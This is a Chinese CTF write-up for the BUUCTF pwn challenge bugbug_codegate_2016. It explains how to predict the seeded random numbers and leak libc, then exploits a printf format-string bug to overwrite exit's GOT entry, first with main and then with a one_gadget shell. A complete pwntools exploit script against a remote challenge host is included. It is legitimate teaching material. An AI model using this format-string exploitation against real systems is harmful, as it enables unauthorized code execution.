[BUUCTF-pwn] bugbug_codegate_2016

printf的题是连着了,刚作完一上又一个

先看保护:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)

加载地址是固定的,不用泄露,got表可写

再看看程序:

  stream = fopen("/dev/urandom", "rb");
  fread(&ptr, 4u, 1u, stream);
  fclose(stream);
  srand(ptr);                        //读4字节随机数作随机数种子,因为紧临buf可以被带出
  printf("\nWho are you? ");
  read(0, buf, 0x64u);
  printf("\nHello~ %s\n", buf);                 // 可以带出buf
  for ( dword_804A05C = 0; dword_804A05C <= 5; ++dword_804A05C )
  {
LABEL_6:
    dword_804A058 = rand() % 45 + 1;
    for ( dword_804A054 = 0; dword_804A05C - 1 >= dword_804A054; ++dword_804A054 )
    {
      if ( v4[dword_804A054] == dword_804A058 )
        goto LABEL_6;
    }
    v4[dword_804A05C] = dword_804A058;   //生成6个随机数
  }
  sub_804867B(v3);                              // 读入6个数与随机数比较
  result = sub_804871B(v3, v4);
  if ( result )
  {
    printf("Congratulation, ");
    printf(buf);                //调用printf
    puts("You Win!!\n");
    exit(0);                    //在定得作个循环回去
  }

程序分析:

  1. 先读4字节作为随机数种子,这个与buf紧邻又是read读入可以被带出,顺便后边的libc也被带出
  2. 用种子生成6个随机数,然后读入6个数比较。过了这个冒才有printf漏洞
  3. 用exit(0)退出,在这需要弄个循环,因为一步完不成。

先要弄个小程序,输入种子按原程序的方法生成随机数(除了scanf外都是复制过来,尽量避免不同)

#include <stdio.h>
#include <stdlib.h>

int main()
{
	int v4[6];
	int i,j,k;
	unsigned int ptr;
	
	puts("Input seed :");
	scanf("%d", &ptr);
	
	for(i=0;i<6;i++)v4[i]=0;
	srand(ptr);
	for(i=0;i<6;++i)
	{
LABEL6:
		k = rand()%45+1;
		for(j=0;j<=i-1;++j)
			if(v4[j] == k)goto LABEL6;
		v4[i]=k;
	}
	for(i=0;i<6;i++)printf("%d,",v4[i]);
	return 0;
}

步骤:

  1. 输入AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x 计算偏移
  2. payload要输满100位,带出seed,libc
  3. 调用小程序输入seed获得6个随机数
  4. 输入随机数,成功运行printf 
  5. 从1重来,payload=fmtstr_payload(17, {elf.got['exit'] : main}) 这回运行让它循环回来
  6. payload = fmtstr_payload(17, {elf.got['exit']: one_gadget}) 调用one_gadget得到shell

完整exp:

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
    one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
    offset_main_ret = 0x18647
else:
    p = remote('node4.buuoj.cn', 26373) 
    libc_elf = ELF('../libc6-i386_2.23-0ubuntu10_amd64.so')
    one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
    offset_main_ret = 0x18637

elf = ELF('./pwn')
context(arch='i386', log_level='debug')

#gdb.attach(p, 'b*0x804892e')
#pause()

#payload = b'AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
#AAAA-ffece45c-0-804888b-f7fada74-8-a-10-14-19-f-8-a-10-14-19-f-41414141-2d78252d
offset = 17
main = 0x804878c
payload = fmtstr_payload(17, {elf.got['exit'] : main})
p.sendafter(b"\nWho are you? ", payload.ljust(99, b'A')+b'|')
p.recvuntil(b'|')
seed = u32(p.recv(4))
print('seed:', seed, hex(seed))

#seed ->rand
tmpp = process('./a.out')
tmpp.sendlineafter(b':\n', str(seed).encode())
rnd = [0,0,0,0,0,0]
for i in range(6):
    rnd[i] = int(tmpp.recvuntil(b',', drop=True))
    print(rnd[i])
tmpp.close()

libc_base = u32(p.recv(8)[4:]) - (0xf7fa53dc - 0xf7df5000)
print('libc:', hex(libc_base))

p.recvuntil(b'==> ')
for i in range(6):
    p.sendline(str(rnd[i]).encode())

#p.sendlineafter(b"Congratulation, ", )
p.recvuntil(b"You Win!!\n\n")

# back top
one_gadget = libc_base + one[5]
payload = fmtstr_payload(17, {elf.got['exit'] : one_gadget})

p.sendafter(b"\nWho are you? ", payload.ljust(99, b'A')+b'|')
p.recvuntil(b'|')
seed = u32(p.recv(4))
print('seed:', seed, hex(seed))

#seed ->rand
tmpp = process('./a.out')
tmpp.sendlineafter(b':\n', str(seed).encode())
rnd = [0,0,0,0,0,0]
for i in range(6):
    rnd[i] = int(tmpp.recvuntil(b',', drop=True))
    print(rnd[i])
tmpp.close()

libc_base = u32(p.recv(8)[4:]) - (0xf7fa53dc - 0xf7df5000)
print('libc:', hex(libc_base))

p.recvuntil(b'==> ')
for i in range(6):
    p.sendline(str(rnd[i]).encode())

p.recvuntil(b"You Win!!\n\n")

p.sendline(b'cat /flag')
p.interactive()

程序后边复制的前边,用函数会变短,但不如复制效率高,都高程序员爱划水:)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值